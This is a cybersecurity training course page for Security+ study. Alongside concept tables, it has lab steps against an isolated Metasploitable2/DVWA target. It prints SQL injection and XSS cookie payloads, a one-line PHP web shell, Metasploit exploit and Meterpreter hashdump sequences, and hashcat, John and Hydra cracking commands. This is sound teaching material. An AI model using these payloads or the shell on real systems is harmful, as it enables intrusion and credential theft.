Cybersecurity
Mastery Course
Comprehensive material + hands-on real labs covering everything from core concepts to ethical hacking, incident response and compliance. CompTIA Security+ aligned.
What you'll master
CIA Triad & Core Concepts
The CIA Triad is the foundation of all cybersecurity. Every security decision — every control, every policy, every tool — exists to protect one or more of these three properties.
The CIA Triad
AAA Framework
AAA (Authentication, Authorisation, Accounting) is the framework for controlling access to systems.
| Component | What it does | Example |
|---|---|---|
| Authentication | Proves who you are | Password, fingerprint, smart card |
| Authorisation | Determines what you can access | RBAC roles, ACLs, file permissions |
| Accounting | Tracks what you did | Audit logs, SIEM, session recording |
AAA protocols include RADIUS (Remote Access Dial-In User Service) and TACACS+ (Terminal Access Controller Access-Control System). TACACS+ encrypts the entire payload; RADIUS only encrypts the password.
Zero Trust Architecture
Zero Trust operates on the principle: "Never trust, always verify." No user or device is trusted by default — even inside the network perimeter.
- Identity verification: Every access request is authenticated and authorised regardless of location
- Microsegmentation: Network is divided into small zones; breach of one zone doesn't compromise others
- Least privilege: Users get the minimum access needed for their role, nothing more
- Continuous monitoring: All traffic is logged and analysed in real time
Key Security Concepts
Security Controls & Frameworks
Types of Security Controls
| Category | Purpose | Examples |
|---|---|---|
| Preventive | Stop attacks before they happen | Firewalls, MFA, encryption, locked doors |
| Detective | Identify attacks in progress or after the fact | IDS, SIEM, audit logs, cameras |
| Corrective | Restore systems after an incident | Backups, patch management, IR plans |
| Deterrent | Discourage attackers | Warning banners, CCTV signs, legal notices |
| Compensating | Alternative when primary control isn't feasible | Manual review instead of automated scanning |
| Physical | Protect physical access to assets | Badges, biometrics, mantrap doors |
Major Security Frameworks
NIST Cybersecurity Framework (CSF)
Five core functions — Identify, Protect, Detect, Respond, Recover. Used widely in US government and private sector. Version 2.0 (2024) adds Govern as a sixth function.
- Identify: Asset management, risk assessment, governance
- Protect: Access control, data security, training, maintenance
- Detect: Anomaly detection, continuous monitoring, log analysis
- Respond: Incident response plan, communications, mitigation
- Recover: Recovery planning, improvements, communications
ISO/IEC 27001
International standard for Information Security Management Systems (ISMS). Organisations can be certified against ISO 27001. Covers 114 controls across 14 domains including access control, cryptography, physical security and supplier relationships.
CIS Controls (v8)
18 prioritised security controls. The first 6 ("IG1") are considered essential for every organisation. Highly practical and implementation-focused. Common starting point for SMEs.
Deception Technologies
Quiz — Security Foundations
10 questions. Click an answer to reveal the explanation.
Malware & Social Engineering
Malware Types
| Type | How it works | Example / Key fact |
|---|---|---|
| Virus | Attaches to legitimate files; spreads when file is executed | Requires human action to spread; self-replicating within files |
| Worm | Self-replicates across networks without user action | WannaCry (2017) — spread via EternalBlue SMB vulnerability |
| Trojan | Disguised as legitimate software; creates backdoor | Emotet — delivered via phishing emails as fake invoices |
| Ransomware | Encrypts files and demands payment for decryption key | LockBit, REvil — typical ransom $10k–$5M+ |
| Rootkit | Hides itself and other malware at OS/kernel level | Extremely hard to detect; may persist after reboots |
| Keylogger | Records keystrokes to steal credentials | Can be hardware (USB device) or software |
| Spyware | Monitors user activity without consent | Collects browsing, credentials, screenshots |
| Adware | Displays unwanted ads; often bundles spyware | Lowest severity but often a gateway to worse malware |
| Botnet | Network of infected machines (bots) controlled remotely | Used for DDoS, spam campaigns, credential stuffing |
| RAT | Remote Access Trojan — full remote control of victim machine | DarkComet, njRAT — attacker has keyboard/camera access |
Social Engineering Attacks
Network & Web Application Attacks
Network Attacks
| Attack | How it works | Defence |
|---|---|---|
| Man-in-the-Middle (MITM) | Attacker intercepts/modifies traffic between two parties | TLS/HTTPS, certificate pinning, VPN |
| ARP Spoofing | Sends fake ARP replies linking attacker's MAC to victim's IP — enables MITM on local network | Dynamic ARP Inspection (DAI), static ARP entries |
| DNS Poisoning | Injects false DNS records to redirect users to attacker-controlled sites | DNSSEC, DNS over HTTPS (DoH) |
| DDoS — Volumetric | Floods bandwidth with traffic (UDP floods, ICMP floods) | CDN scrubbing, upstream filtering, rate limiting |
| DDoS — Protocol | Exploits Layer 3/4 (SYN flood exhausts connection tables) | SYN cookies, firewall rate limiting |
| DDoS — Application | HTTP floods targeting web app layer (Layer 7) | WAF, CAPTCHA, behaviour-based blocking |
| Replay Attack | Captures valid authentication token and replays it | Timestamps, nonces, session tokens |
| Smurf Attack | Sends ICMP requests with spoofed source IP to broadcast address — victim flooded with replies | Disable directed broadcast on routers |
Web Application Attacks (OWASP Top 10)
SQL Injection
Attacker injects SQL code into input fields, manipulating the database query.
-- Normal query: SELECT * FROM users WHERE username='alice' AND password='secret'; -- Injected input: ' OR '1'='1 SELECT * FROM users WHERE username='' OR '1'='1' AND password=''; -- Returns all users — authentication bypassed
Defence: Parameterised queries / prepared statements, input validation, WAF, least privilege DB accounts.
Cross-Site Scripting (XSS)
Attacker injects malicious JavaScript into web pages viewed by other users.
- Stored XSS: Script saved in the database (e.g. in a comment), executes for every visitor
- Reflected XSS: Script in the URL, only affects users who click the malicious link
- DOM XSS: Script manipulates the page's DOM client-side
Defence: Output encoding, Content Security Policy (CSP), input validation, HttpOnly cookies.
Cross-Site Request Forgery (CSRF)
Tricks an authenticated user's browser into making unintended requests to a site where they're logged in.
Example: User logged into bank. Attacker's site triggers a hidden form POST to transfer funds. Bank server receives a legitimate-looking request with the user's session cookie.
Defence: CSRF tokens, SameSite cookie attribute, re-authentication for sensitive actions.
Other Key Web Vulnerabilities
| Vulnerability | Description | Defence |
|---|---|---|
| Buffer Overflow | Writing more data than a buffer can hold, overwriting memory | Input validation, ASLR, DEP, safe coding |
| Directory Traversal | Using ../ to access files outside the web root | Input sanitisation, chroot jail |
| IDOR | Insecure Direct Object Reference — change ID in URL to access another user's data | Authorisation checks on every request |
| SSRF | Server-Side Request Forgery — tricks server into making requests to internal resources | Whitelist allowed URLs, block internal IPs |
Quiz — Threats & Attacks
10 questions. Click an answer to reveal the explanation.
TCP/IP, Firewalls & IDS/IPS
TCP/IP Fundamentals
Understanding TCP/IP is essential for network security analysis. The 3-way handshake (SYN → SYN-ACK → ACK) establishes TCP connections. Attackers exploit this in SYN flood attacks by sending many SYN packets without completing the handshake, exhausting the server's connection table.
| Protocol | Port | Security notes |
|---|---|---|
| HTTP | 80 | Unencrypted — never use for sensitive data |
| HTTPS | 443 | TLS encrypted — required for all web apps |
| SSH | 22 | Encrypted remote access — replace Telnet (23) |
| FTP | 20/21 | Unencrypted — use SFTP (22) or FTPS (990) |
| DNS | 53 | UDP/TCP — can be tunnelled for exfiltration |
| SMTP | 25 | Email sending — use 587/465 with TLS for clients |
| RDP | 3389 | High-value attack target — should never be open to internet |
| SMB | 445 | Used by WannaCry (EternalBlue) — should be blocked at perimeter |
Firewalls
IDS vs IPS
| Feature | IDS | IPS |
|---|---|---|
| Action | Detects and alerts | Detects, alerts AND blocks |
| Position | Out-of-band (passive, mirror port) | Inline (traffic flows through it) |
| Risk | False negatives — misses attacks | False positives — may block legitimate traffic |
| Detection | Signature-based or anomaly-based | Same detection, adds blocking capability |
VPNs, DNS & Email Security
VPN Types
| Type | Use case | Protocol |
|---|---|---|
| Remote Access VPN | Individual users connecting to corporate network from anywhere | SSL/TLS, IPSec |
| Site-to-Site VPN | Connecting two office networks permanently over the internet | IPSec (IKEv2) |
| Split Tunnelling | Only corporate traffic goes through VPN; internet traffic goes direct — less secure but faster | Configurable |
| Full Tunnel | All traffic routes through VPN — more secure, enables monitoring | IPSec / SSL |
DNS Security
- DNSSEC: Cryptographically signs DNS records to prevent tampering
- DNS over HTTPS (DoH): Encrypts DNS queries — prevents ISP/attacker from seeing what you're looking up
- DNS Sinkhole: Redirects malicious domain queries to a controlled IP — used to neutralise malware C2 communications
- DNS Tunnelling: Attackers encode data in DNS queries to exfiltrate data or establish C2 channel — often bypasses firewalls
Email Security — SPF, DKIM, DMARC
Quiz — Network Security
5 key questions.
Encryption & Hashing
Symmetric vs Asymmetric Encryption
| Feature | Symmetric | Asymmetric |
|---|---|---|
| Keys | One shared secret key | Public key + Private key pair |
| Speed | Fast — suitable for bulk data | Slow — used for key exchange / signatures |
| Key problem | How to securely share the key? | Solved — public key can be shared openly |
| Algorithms | AES (128/256), 3DES, ChaCha20 | RSA, ECC, Diffie-Hellman, ElGamal |
| Use cases | File encryption, disk encryption, VPN data | TLS handshake, digital signatures, key exchange |
Hashing
A hash function takes any input and produces a fixed-length output (hash/digest). It is one-way — you cannot reverse a hash to get the original input. Used for integrity verification and password storage.
| Algorithm | Output size | Status |
|---|---|---|
| MD5 | 128-bit | ❌ Broken — collision attacks found. Do not use. |
| SHA-1 | 160-bit | ❌ Deprecated — collisions demonstrated (SHAttered, 2017) |
| SHA-256 | 256-bit | ✅ Current standard — widely used |
| SHA-3 | 224–512-bit | ✅ Newest NIST standard — alternative architecture to SHA-2 |
| bcrypt / Argon2 | Variable | ✅ Designed for password hashing — deliberately slow |
Cryptographic Attacks
PKI, Certificates & TLS
Public Key Infrastructure (PKI)
PKI is the system that manages digital certificates and public-key encryption. It establishes trust between parties who have never met.
Certificate Types
| Type | Validation level | Use case |
|---|---|---|
| DV (Domain Validation) | Proves control of domain only | Basic HTTPS — Let's Encrypt, personal sites |
| OV (Organisation Validation) | Verifies organisation identity | Business websites |
| EV (Extended Validation) | Rigorous company verification | Banking, e-commerce — highest trust |
| Wildcard | Covers *.domain.com | All subdomains with one certificate |
| SAN (Subject Alt Name) | Multiple domains in one cert | Organisations with multiple domains |
TLS Handshake (How HTTPS Works)
- Client Hello: Browser sends supported TLS versions and cipher suites
- Server Hello: Server selects cipher suite, sends its certificate
- Certificate Verification: Browser verifies the certificate against trusted CAs
- Key Exchange: Both parties use asymmetric crypto to agree on a symmetric session key
- Session Established: All data encrypted with the symmetric session key (AES)
Quiz — Cryptography
Authentication & MFA
Authentication Factors
| Factor | Description | Examples |
|---|---|---|
| Something you know | Knowledge-based | Password, PIN, security questions |
| Something you have | Possession-based | Smart card, TOTP app, hardware token (YubiKey) |
| Something you are | Biometric | Fingerprint, facial recognition, iris scan |
| Somewhere you are | Location-based | GPS location, IP geolocation, network location |
| Something you do | Behavioural | Typing pattern, mouse movement, gait analysis |
SSO Protocols
Access Control Models
| Model | How it works | Who controls access? |
|---|---|---|
| DAC — Discretionary | Resource owner decides who gets access. Flexible but harder to manage at scale. | Individual resource owners |
| MAC — Mandatory | Labels applied to subjects and objects (Top Secret, Secret, etc.). OS enforces — users cannot override. Used in government/military. | System / Security policy |
| RBAC — Role-Based | Access based on job role. User inherits permissions of their role. Most common in enterprise environments. | Administrators (via roles) |
| ABAC — Attribute-Based | Access based on attributes of user, resource, environment (time, location, device health). Most flexible and granular. | Policy engine |
| Rule-Based | Access determined by rules (firewall ACLs are rule-based). Conditions must be met. | Administrators (via rules) |
Privileged Access Management (PAM)
- Least privilege: Grant only the minimum access needed for the job — nothing more
- Just-in-time access: Elevate privileges temporarily when needed, then revoke
- Credential vaulting: Store privileged credentials in a secure vault (CyberArk, HashiCorp)
- Session recording: Record all privileged sessions for audit and forensics
- Separation of duties: No single person should have end-to-end control of a sensitive process
Quiz — Identity & Access Management
Reconnaissance & Scanning
Penetration Testing Methodology
- Planning & Scoping: Define scope, rules of engagement, legal authorisation (get it in writing)
- Reconnaissance: Passive (OSINT, no direct contact) and Active (direct probing)
- Scanning & Enumeration: Port scanning, service detection, vulnerability scanning
- Exploitation: Use discovered vulnerabilities to gain access
- Post-Exploitation: Privilege escalation, lateral movement, persistence
- Reporting: Document findings, evidence, risk ratings (CVSS), remediation recommendations
OSINT Tools
site:target.com filetype:pdf, intitle:"index of", inurl:adminNmap — Key Scan Types
# Host discovery — ping sweep nmap -sn 192.168.1.0/24 # Stealth SYN scan (most common) nmap -sS -p 1-1000 target_ip # Service version + OS detection nmap -sV -O target_ip # Aggressive scan (all features) nmap -A target_ip # Vulnerability scripts nmap --script vuln target_ip # UDP scan (slower but important) nmap -sU -p 53,67,123,161 target_ip
Exploitation & Post-Exploitation
Metasploit Framework
# Launch Metasploit msfconsole # Search for an exploit search vsftpd 2.3.4 # Use an exploit use exploit/unix/ftp/vsftpd_234_backdoor # Show and set options show options set RHOSTS 192.168.1.100 # Run the exploit run # Common Meterpreter commands (post-exploitation) sysinfo # System information getuid # Current user hashdump # Dump password hashes upload / download # File transfer shell # Drop into system shell
Privilege Escalation
- Linux: SUID binaries, sudo misconfigs, cron job exploitation, kernel exploits
- Windows: Unquoted service paths, weak registry permissions, token impersonation, AlwaysInstallElevated
- Tools: LinPEAS / WinPEAS (automated enumeration), GTFOBins (Linux SUID), PrivescCheck (Windows)
Password Attacks
# Crack MD5 hash with wordlist hashcat -m 0 -a 0 hash.txt rockyou.txt # Crack NTLM (Windows) hash hashcat -m 1000 hash.txt rockyou.txt # Brute force 4-digit PIN hashcat -m 0 -a 3 hash.txt ?d?d?d?d # Hydra — online brute force (SSH) hydra -l admin -P rockyou.txt ssh://192.168.1.100
Quiz — Ethical Hacking
SIEM, Logging & Monitoring
What is a SIEM?
A Security Information and Event Management (SIEM) system collects, normalises, correlates, and analyses log data from across the organisation to detect threats in real time.
Key Windows Event IDs
| Event ID | Meaning | Why it matters |
|---|---|---|
| 4624 | Successful login | Baseline; alert if from unusual location/time |
| 4625 | Failed login | Multiple failures = brute force indicator |
| 4648 | Login with explicit credentials | Pass-the-hash / lateral movement indicator |
| 4672 | Special privileges assigned | Admin login — monitor closely |
| 4688 | New process created | Malware execution, suspicious child processes |
| 4698 | Scheduled task created | Common persistence mechanism |
| 4720 | User account created | Backdoor account creation |
| 7045 | New service installed | Malware/rootkit installation indicator |
Incident Response & Digital Forensics
IR Lifecycle (NIST SP 800-61)
- Preparation: IR plan, playbooks, tools, team training, communication plan
- Detection & Analysis: Identify the incident, determine scope and severity, assign priority
- Containment: Short-term (isolate system) and long-term (patch, rebuild) containment
- Eradication: Remove malware, close attack vectors, patch vulnerabilities
- Recovery: Restore systems, verify no residual compromise, return to normal operations
- Lessons Learned: Post-incident review, update IR plan, training improvements
Digital Forensics Principles
Quiz — SOC & Incident Response
Risk Management & Compliance
Risk Calculations
ALE — Annual Loss Expectancy
ALE = SLE × ARO
- SLE (Single Loss Expectancy): Cost of one occurrence = Asset Value × Exposure Factor
- ARO (Annual Rate of Occurrence): How many times per year the threat is expected (0.5 = once every 2 years)
SLE = $500,000 × 0.4 = $200,000
ALE = $200,000 × 0.5 = $100,000
Risk Treatment Options
| Option | Description | Example |
|---|---|---|
| Accept | Risk is tolerated — cost of control exceeds risk | Accept low-value system being offline occasionally |
| Transfer | Move risk to another party | Cyber insurance, outsourcing |
| Avoid | Eliminate the risk by not doing the activity | Not storing credit card data at all |
| Mitigate | Reduce likelihood or impact with controls | Patching systems, enabling MFA |
Key Compliance Frameworks
| Framework | Covers | Who must comply |
|---|---|---|
| GDPR | Personal data of EU citizens | Any org processing EU citizen data |
| HIPAA | US healthcare data (PHI) | Healthcare providers, insurers, business associates |
| PCI-DSS | Payment card data | Any org storing/processing/transmitting card data |
| SOX | Financial reporting accuracy | US public companies |
| ISO 27001 | ISMS — information security management | Voluntary but widely adopted; certifiable |
Policies, BCP & Disaster Recovery
Key Security Policies
Business Continuity & Disaster Recovery
Backup Strategies
| Type | What it backs up | Restore time |
|---|---|---|
| Full backup | Everything | Fastest restore — single backup set |
| Incremental | Changes since last backup (any type) | Slowest restore — need full + all incrementals |
| Differential | Changes since last FULL backup | Medium — need full + latest differential only |
Quiz — GRC
Objectives
- Install VirtualBox hypervisor
- Deploy Kali Linux VM
- Deploy Metasploitable2 target
- Configure isolated networking
- Verify connectivity between VMs
- Run first Nmap scan
Step-by-step instructions
- Download VirtualBox from virtualbox.org (free). Install on your host machine (Windows, Mac or Linux). Enable virtualisation in BIOS if prompted.
- Download Kali Linux — go to kali.org/get-kali and download the VirtualBox pre-built image (.ova file). This is faster than a full install. In VirtualBox: File → Import Appliance → select the .ova file.
- Download Metasploitable2 — search "Metasploitable2 SourceForge" and download the .zip. Extract it. In VirtualBox: Machine → Add → select the .vmdk file.
- Configure networking — set BOTH VMs to Host-Only Adapter in VirtualBox settings. This creates an isolated network where they can talk to each other but NOT reach the internet. Critical for safety.
- Start Metasploitable2 — login with
msfadmin / msfadmin. Runifconfigto find its IP address (typically 192.168.56.x). - Start Kali Linux — default credentials:
kali / kali. Open a terminal. Ping the Metasploitable IP to verify connectivity:ping 192.168.56.101 - Run your first Nmap scan — from Kali terminal:
nmap -sV 192.168.56.101 # You should see 20+ open ports — vsftpd, Apache, MySQL, SSH etc. # Metasploitable is intentionally vulnerable — every open service is a lab target
- Host discovery — find all live hosts on your lab network:
nmap -sn 192.168.56.0/24
- Stealth SYN scan — fastest, most common scan type:
nmap -sS -p 1-65535 192.168.56.101 # -sS = SYN scan (half-open, less likely to be logged) # -p 1-65535 = all ports (default only scans top 1000)
- Version + OS detection:
nmap -sV -O 192.168.56.101 # Look for: vsftpd 2.3.4 (backdoor vulnerability!) # Apache 2.2.8 (old version, many CVEs) # OpenSSH 4.7p1 (outdated)
- Vulnerability scripts:
nmap --script vuln 192.168.56.101 # Nmap will run vulnerability detection scripts # Note any CVEs reported — you'll exploit them in Lab 5
- Save output to file for your report:
nmap -A -oN metasploitable_scan.txt 192.168.56.101 # -A = aggressive (OS, version, scripts, traceroute) # -oN = save in normal format to file
- Launch Wireshark on Kali:
wireshark &— Select your lab network interface (eth0 or similar). Click the blue shark fin to start capturing. - Capture Telnet credentials — from Kali, telnet to Metasploitable:
telnet 192.168.56.101. Login with msfadmin/msfadmin. In Wireshark, filter:telnet— you'll see the username and password in cleartext. This demonstrates why Telnet is dangerous. - Find HTTP credentials — Metasploitable runs a web app on port 80. Browse to it from Kali:
http://192.168.56.101/dvwa. Filter Wireshark:http.request.method == "POST"— find the login POST and expand to see cleartext credentials. - Detect ARP traffic — filter:
arp. Look for gratuitous ARP replies (same sender/target IP) — these can indicate ARP spoofing. Note the MAC-to-IP mappings. - Follow a TCP stream — right-click any TCP packet → Follow → TCP Stream. This reconstructs the entire conversation. Use this to see full HTTP requests/responses.
- Export objects — File → Export Objects → HTTP. Wireshark will list all files transferred over HTTP. This shows how an attacker can recover files from captured traffic.
http | tcp | udp | dns | arp | ip.addr == 192.168.1.1 | tcp.port == 443 | http.request.method == "POST"- Access DVWA — open browser on Kali and navigate to
http://192.168.56.101/dvwa. Login:admin / password. Go to DVWA Security → set to "Low". - SQL Injection — navigate to SQL Injection. In the User ID field enter:
' OR '1'='1— this should return all users. Then try:' UNION SELECT user,password FROM users-- -to dump the user table. Observe the results. - SQLmap automation — from Kali terminal:
sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=xxx;security=low" --dbs # Replace xxx with your actual session cookie from browser dev tools # --dbs lists all databases
- Stored XSS — navigate to XSS (Stored). In the message field enter:
<script>alert(document.cookie)</script>— submit and reload. The script should execute showing your session cookie. This demonstrates cookie theft. - File Upload bypass — navigate to File Upload. Try uploading a .php file. On Low security it should succeed. Create a simple PHP shell:
<?php system($_GET['cmd']); ?>saved as shell.php. Upload it and access via browser to execute OS commands. - Burp Suite intercept — set Kali browser proxy to 127.0.0.1:8080. Launch Burp Suite (pre-installed on Kali). Intercept a login request, modify parameters, and observe how request manipulation works.
- Launch Metasploit:
msfconsole # Wait for it to load (~30 seconds)
- Find and use the vsftpd 2.3.4 exploit (backdoor we found with Nmap in Lab 2):
search vsftpd use exploit/unix/ftp/vsftpd_234_backdoor show options set RHOSTS 192.168.56.101 run # You should get a shell! Type: id — you should see root
- Alternatively — Exploit Samba (another Metasploitable vulnerability):
use exploit/multi/samba/usermap_script set RHOSTS 192.168.56.101 set LHOST 192.168.56.1 # Your Kali IP run
- Upgrade to Meterpreter once you have a basic shell:
# In Metasploit — background current session with Ctrl+Z use post/multi/manage/shell_to_meterpreter set SESSION 1 run # Now interact with the Meterpreter session: sessions -i 2
- Post-exploitation with Meterpreter:
sysinfo # System info getuid # Current user (should be root) hashdump # Extract all password hashes download /etc/passwd /tmp/ # Download files ps # List running processes
- Crack the hashes — copy hashes from hashdump output, save to hashes.txt on Kali, then:
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt # -m 500 = MD5Crypt (Linux hash type) # rockyou.txt is the classic wordlist, pre-installed on Kali
- Download pfSense from pfsense.org (Community Edition, free). Create a new VM in VirtualBox with 3 network adapters: Adapter 1 = NAT (WAN), Adapter 2 = Host-Only (LAN), Adapter 3 = Host-Only Network 2 (DMZ). Use a separate Host-Only network for DMZ.
- Install pfSense — boot from ISO, follow the installer. Assign interfaces when prompted: WAN → em0, LAN → em1, DMZ → em2. Set LAN IP to 192.168.1.1/24 and DMZ IP to 192.168.2.1/24.
- Access the web GUI — from Kali (on the LAN segment), browse to
https://192.168.1.1. Login: admin/pfsense. Complete the setup wizard. - Create firewall rules — go to Firewall → Rules → DMZ tab. Add rules:
• Allow: DMZ → WAN on ports 80, 443 (web server needs internet access)
• Block: DMZ → LAN (DMZ should never reach internal network)
• Block: LAN → DMZ on ports 22, 3389 (no admin access from LAN to DMZ) - Enable firewall logging — edit each rule and check "Log packets that are handled by this rule." Go to Status → System Logs → Firewall to see live blocked connections.
- Test your rules — from a VM in the DMZ, try to ping a LAN device. It should be blocked. Check the firewall log to confirm the block was logged. From Kali (LAN), run:
nmap -p 22,3389 [DMZ_IP]— should show filtered.
- Detection & Triage — Determine the priority (P1 — Critical). Identify the affected system (FS-01). Check SIEM for related alerts in the past 24 hours. Look for: unusual login (Event 4624), new process (4688), lateral movement (4648). Document your initial findings.
- Containment — Immediate actions:
• Isolate FS-01 from the network (remove from switch or disable NIC)
• Disable the affected user account
• Block the attacker's source IP at the firewall
• Preserve all logs before any changes - Evidence collection — following order of volatility:
• Capture RAM image:winpmem.exe memdump.raw(Windows) ordd if=/dev/mem of=memdump.raw(Linux)
• Record all network connections:netstat -an
• List running processes:tasklist /vorps aux
• Take disk image with hash verification - Analyse memory with Volatility (if available):
volatility -f memdump.raw --profile=Win10x64 pslist volatility -f memdump.raw --profile=Win10x64 netscan volatility -f memdump.raw --profile=Win10x64 malfind # pslist: running processes # netscan: network connections at time of capture # malfind: suspicious injected code in memory
- Eradication — Identify and remove ransomware binary. Remove persistence mechanisms (scheduled tasks, registry run keys, new user accounts). Patch the exploited vulnerability.
- Write the IR Report — This is your real project deliverable. Include:
- Executive Summary (non-technical, 1 paragraph)
- Incident Timeline (chronological table of events)
- Technical Details (how the attack occurred, what was exploited)
- Indicators of Compromise (IOCs: IPs, file hashes, domain names)
- Impact Assessment (systems/data affected)
- Containment and Eradication actions taken
- Recommendations to prevent recurrence
- Lessons Learned
- Identify hash types — given a hash, you must identify the type before cracking:
# MD5 example (32 hex chars): 5f4dcc3b5aa765d61d8327deb882cf99 # "password" # SHA-256 (64 hex chars): 5e884898da2847151d0e56f8dc6292773603dd... # "password" # Use hashid to identify: hashid '5f4dcc3b5aa765d61d8327deb882cf99'
- Dictionary attack with Hashcat:
# Crack MD5 hash with rockyou wordlist hashcat -m 0 -a 0 md5_hash.txt /usr/share/wordlists/rockyou.txt # Crack NTLM (Windows) hashes hashcat -m 1000 -a 0 ntlm_hash.txt /usr/share/wordlists/rockyou.txt # Rule-based attack (adds variations) hashcat -m 0 -a 0 -r /usr/share/hashcat/rules/best64.rule hash.txt rockyou.txt
- John the Ripper — alternative cracker, great for auto-detection:
# Auto-detect format and crack john hash.txt # With wordlist john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt # Show cracked passwords john --show hash.txt
- Understand salting — create two identical passwords, one salted, one not. Observe how salting prevents dictionary attacks by making identical passwords produce different hashes.
- Password policy exercise — using your cracking results, answer:
• What % of passwords in rockyou.txt were cracked in under 1 minute?
• What password length/complexity makes cracking impractical?
• Write a 1-page password policy recommendation based on your findings
Final Exam
50 questions covering all 8 modules. This mirrors the CompTIA Security+ SY0-701 exam format. Passing score: 70% (35/50).
🎓 Course Complete!
You have completed the XIopt Cybersecurity Practical Experience Course. Your progress includes:
- 8 learning modules covering all CompTIA Security+ SY0-701 domains
- 8 hands-on practical labs with real tools (Nmap, Wireshark, Metasploit, pfSense)
- Module quizzes + final assessment
- Professional deliverables: pentest scan output, IR report, firewall documentation, password policy
Submit your lab deliverables to your XIopt mentor for review and to receive your completion certificate.